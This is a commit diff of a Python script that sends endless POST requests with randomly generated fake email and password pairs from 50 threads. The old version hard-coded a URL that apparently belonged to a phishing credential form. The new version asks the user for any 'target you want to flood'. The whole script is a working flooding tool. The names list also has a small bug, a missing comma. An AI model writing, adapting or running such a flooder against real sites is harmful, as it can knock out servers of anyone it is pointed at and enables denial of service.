|
1 | 1 | import threading |
2 | 2 | import requests |
| 3 | +import random |
| 4 | +import string |
3 | 5 |
|
4 | | -url = "https://haquegrp.com/xl/ecc2.php" |
| 6 | +# List of names to generate email addresses |
| 7 | +names = ["alice", "bob", "charlie", "dave", "eve" "fred", "george", |
| 8 | + "harry", "ivan", "james", "kyle", "larry", "mike", "noah", "oliver", "peter", |
| 9 | + "quincy", "ricky", "samuel", "tom", "ulysses", "victor", "wesley", "xavier", |
| 10 | + "yusuf", "zachary", |
| 11 | + ] |
5 | 12 |
|
6 | | -data = { |
7 | | - "a": "fuckyou@fckU.com", |
8 | | - "az": "RIPBOZO" |
9 | | -} |
| 13 | +def generate_random_email(): |
| 14 | + name = random.choice(names) |
| 15 | + domain = "@gmail.com" # You can change this domain |
| 16 | + return name + str(random.randint(1, 100)) + domain |
10 | 17 |
|
11 | | -def send_posts(): |
| 18 | +def generate_random_password(): |
| 19 | + # Generate a random password of length 8 |
| 20 | + letters_and_digits = string.ascii_letters + string.digits |
| 21 | + return ''.join(random.choice(letters_and_digits) for i in range(8)) |
| 22 | + |
| 23 | +def send_posts(url): |
12 | 24 | while True: |
| 25 | + email = generate_random_email() |
| 26 | + password = generate_random_password() |
| 27 | + data = { |
| 28 | + "a": email, |
| 29 | + "az": password |
| 30 | + } |
13 | 31 | response = requests.post(url, data=data) |
14 | | - print(response.status_code) |
| 32 | + print(f"Email: {email}, Password: {password}, Status Code: {response.status_code}") |
| 33 | + |
| 34 | +def main(): |
| 35 | + # Ask user for URL to flood |
| 36 | + url = input("Enter the URL of the target you want to flood: ") |
| 37 | + |
| 38 | + threads = [] |
15 | 39 |
|
16 | | -threads = [] |
| 40 | + for i in range(50): |
| 41 | + t = threading.Thread(target=send_posts, args=(url,)) |
| 42 | + t.daemon = True |
| 43 | + threads.append(t) |
17 | 44 |
|
18 | | -for i in range(50): |
19 | | - t = threading.Thread(target=send_posts) |
20 | | - t.daemon = True |
21 | | - threads.append(t) |
| 45 | + for i in range(50): |
| 46 | + threads[i].start() |
22 | 47 |
|
23 | | -for i in range(50): |
24 | | - threads[i].start() |
| 48 | + for i in range(50): |
| 49 | + threads[i].join() |
25 | 50 |
|
26 | | -for i in range(50): |
27 | | - threads[i].join() |
| 51 | +if __name__ == "__main__": |
| 52 | + main() |
0 commit comments